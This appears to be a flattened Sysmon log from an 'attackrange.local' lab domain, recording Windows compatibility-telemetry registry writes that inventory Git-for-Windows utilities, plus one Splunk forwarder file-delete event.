13241300x800000000000000035965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\column.exe|a0a6e93c07d1168\Publisher(Empty) 13241300x800000000000000035964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\column.exe|a0a6e93c07d1168\LowerCaseLongPathc:\program files\git\usr\bin\column.exe 13241300x800000000000000035963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cmp.exe|de6ed9764cfeeb7f\BinProductVersion(Empty) 13241300x800000000000000035962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cmp.exe|de6ed9764cfeeb7f\LinkDate01/01/1970 00:00:00 13241300x800000000000000035961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cmp.exe|de6ed9764cfeeb7f\Publisher(Empty) 13241300x800000000000000035960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cmp.exe|de6ed9764cfeeb7f\LowerCaseLongPathc:\program files\git\usr\bin\cmp.exe 13241300x800000000000000035959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\clear.exe|23d1f6608a1d3194\BinProductVersion(Empty) 13241300x800000000000000035958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\clear.exe|23d1f6608a1d3194\LinkDate01/01/1970 00:00:00 13241300x800000000000000035957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\clear.exe|23d1f6608a1d3194\Publisher(Empty) 13241300x800000000000000035956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\clear.exe|23d1f6608a1d3194\LowerCaseLongPathc:\program files\git\usr\bin\clear.exe 13241300x800000000000000035955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cldr-plurals.exe|acec4b705bc23965\BinProductVersion(Empty) 13241300x800000000000000035954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cldr-plurals.exe|acec4b705bc23965\LinkDate10/26/1974 18:18:40 13241300x800000000000000035953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cldr-plurals.exe|acec4b705bc23965\Publisher(Empty) 13241300x800000000000000035952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cldr-plurals.exe|acec4b705bc23965\LowerCaseLongPathc:\program files\git\usr\lib\gettext\cldr-plurals.exe 13241300x800000000000000035951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cksum.exe|877b1cc41ae31cae\BinProductVersion(Empty) 13241300x800000000000000035950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cksum.exe|877b1cc41ae31cae\LinkDate01/01/1970 00:00:00 13241300x800000000000000035949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cksum.exe|877b1cc41ae31cae\Publisher(Empty) 13241300x800000000000000035948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cksum.exe|877b1cc41ae31cae\LowerCaseLongPathc:\program files\git\usr\bin\cksum.exe 13241300x800000000000000035947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chroot.exe|699e7ae138a98a36\BinProductVersion(Empty) 13241300x800000000000000035946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chroot.exe|699e7ae138a98a36\LinkDate01/01/1970 00:00:00 13241300x800000000000000035945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chroot.exe|699e7ae138a98a36\Publisher(Empty) 13241300x800000000000000035944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chroot.exe|699e7ae138a98a36\LowerCaseLongPathc:\program files\git\usr\bin\chroot.exe 13241300x800000000000000035943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chown.exe|6e51d9aedefdf80f\BinProductVersion(Empty) 13241300x800000000000000035942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chown.exe|6e51d9aedefdf80f\LinkDate01/01/1970 00:00:00 13241300x800000000000000035941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chown.exe|6e51d9aedefdf80f\Publisher(Empty) 13241300x800000000000000035940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chown.exe|6e51d9aedefdf80f\LowerCaseLongPathc:\program files\git\usr\bin\chown.exe 13241300x800000000000000035939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chmod.exe|e3ddbff0fcd6c5e6\BinProductVersion(Empty) 13241300x800000000000000035938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chmod.exe|e3ddbff0fcd6c5e6\LinkDate01/01/1970 00:00:00 13241300x800000000000000035937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chmod.exe|e3ddbff0fcd6c5e6\Publisher(Empty) 13241300x800000000000000035936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chmod.exe|e3ddbff0fcd6c5e6\LowerCaseLongPathc:\program files\git\usr\bin\chmod.exe 13241300x800000000000000035935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chgrp.exe|bb039b4cd0c6f545\BinProductVersion(Empty) 13241300x800000000000000035934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chgrp.exe|bb039b4cd0c6f545\LinkDate01/01/1970 00:00:00 13241300x800000000000000035933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chgrp.exe|bb039b4cd0c6f545\Publisher(Empty) 13241300x800000000000000035932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chgrp.exe|bb039b4cd0c6f545\LowerCaseLongPathc:\program files\git\usr\bin\chgrp.exe 13241300x800000000000000035931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chcon.exe|8f0fac908d5773b6\BinProductVersion(Empty) 13241300x800000000000000035930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chcon.exe|8f0fac908d5773b6\LinkDate01/01/1970 00:00:00 13241300x800000000000000035929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chcon.exe|8f0fac908d5773b6\Publisher(Empty) 13241300x800000000000000035928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chcon.exe|8f0fac908d5773b6\LowerCaseLongPathc:\program files\git\usr\bin\chcon.exe 13241300x800000000000000035927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chattr.exe|29db3d1af543269b\BinProductVersion(Empty) 13241300x800000000000000035926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chattr.exe|29db3d1af543269b\LinkDate03/26/2021 22:24:39 13241300x800000000000000035925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chattr.exe|29db3d1af543269b\Publisher(Empty) 13241300x800000000000000035924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\chattr.exe|29db3d1af543269b\LowerCaseLongPathc:\program files\git\usr\bin\chattr.exe 13241300x800000000000000035923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cat.exe|c9bdbcd78462df5e\BinProductVersion(Empty) 13241300x800000000000000035922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cat.exe|c9bdbcd78462df5e\LinkDate01/01/1970 00:00:00 13241300x800000000000000035921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cat.exe|c9bdbcd78462df5e\Publisher(Empty) 13241300x800000000000000035920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\cat.exe|c9bdbcd78462df5e\LowerCaseLongPathc:\program files\git\usr\bin\cat.exe 13241300x800000000000000035919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\captoinfo.exe|ae170334068304db\BinProductVersion(Empty) 13241300x800000000000000035918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\captoinfo.exe|ae170334068304db\LinkDate01/01/1970 00:00:00 13241300x800000000000000035917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\captoinfo.exe|ae170334068304db\Publisher(Empty) 23542300x800000000000000013426Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:14.100{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=738D39FB07FD51EE665A02035597DF84,SHA256=BAFFC126FC4B76CC6D6238E4BCCDA3C2F6785DD64149E631E8ABD82AB33D11BF,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000035916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\captoinfo.exe|ae170334068304db\LowerCaseLongPathc:\program files\git\usr\bin\captoinfo.exe 13241300x800000000000000035915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|7b4916700fd7fa54\BinProductVersion(Empty) 13241300x800000000000000035914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|7b4916700fd7fa54\LinkDate01/01/1970 00:00:00 13241300x800000000000000035913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|7b4916700fd7fa54\Publisher(Empty) 13241300x800000000000000035912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|7b4916700fd7fa54\LowerCaseLongPathc:\program files\git\mingw64\bin\bzip2recover.exe 13241300x800000000000000035911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|6fb043bab87a8c4c\BinProductVersion(Empty) 13241300x800000000000000035910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|6fb043bab87a8c4c\LinkDate01/01/1970 00:00:00 13241300x800000000000000035909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|6fb043bab87a8c4c\Publisher(Empty) 13241300x800000000000000035908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2recover.exe|6fb043bab87a8c4c\LowerCaseLongPathc:\program files\git\usr\bin\bzip2recover.exe 13241300x800000000000000035907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|cecf80293919b675\BinProductVersion(Empty) 13241300x800000000000000035906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|cecf80293919b675\LinkDate01/01/1970 00:00:00 13241300x800000000000000035905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|cecf80293919b675\Publisher(Empty) 13241300x800000000000000035904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|cecf80293919b675\LowerCaseLongPathc:\program files\git\mingw64\bin\bzip2.exe 13241300x800000000000000035903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|6e87155dac2f4c04\BinProductVersion(Empty) 13241300x800000000000000035902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|6e87155dac2f4c04\LinkDate01/01/1970 00:00:00 13241300x800000000000000035901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|6e87155dac2f4c04\Publisher(Empty) 13241300x800000000000000035900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzip2.exe|6e87155dac2f4c04\LowerCaseLongPathc:\program files\git\usr\bin\bzip2.exe 13241300x800000000000000035899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|5bd95ec17b3dd431\BinProductVersion(Empty) 13241300x800000000000000035898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|5bd95ec17b3dd431\LinkDate01/01/1970 00:00:00 13241300x800000000000000035897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|5bd95ec17b3dd431\Publisher(Empty) 13241300x800000000000000035896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|5bd95ec17b3dd431\LowerCaseLongPathc:\program files\git\usr\bin\bzcat.exe 13241300x800000000000000035895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|22efe6404fe377ef\BinProductVersion(Empty) 13241300x800000000000000035894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|22efe6404fe377ef\LinkDate01/01/1970 00:00:00 